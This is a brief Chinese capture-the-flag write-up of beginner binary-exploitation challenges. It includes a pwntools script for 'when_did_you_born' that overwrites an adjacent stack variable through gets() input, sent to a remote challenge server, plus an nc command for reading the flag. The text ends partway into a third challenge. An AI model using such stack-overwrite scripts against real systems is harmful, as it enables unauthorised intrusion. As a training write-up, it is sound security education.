1.get_shell
nc连接题
连接后ls | cat flag
2.when_did_you_born
file checksec
有canary保护,不能栈溢出
ida64
先输入v5,v5不能等于1926。再输入v4,注意有gets函数,不限制输入,但无法溢出,点进去v4,v5
发现var_18是v5,var_20是v4,那么可以输入v4时将v5的值覆盖为1926,就可以cat flag了
脚本
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
zdb=remote("220.249.52.133",38796)
payload=b'a'*(0x20-0x18)+p64(1926)
zdb.sendlineafter("What's Your Birth?\n","2002")
zdb.sendlineafter("What's Your Name?\n",payload)
zdb.interactive()
3.hello_pwn
file checksec 无canary保护,可以栈溢出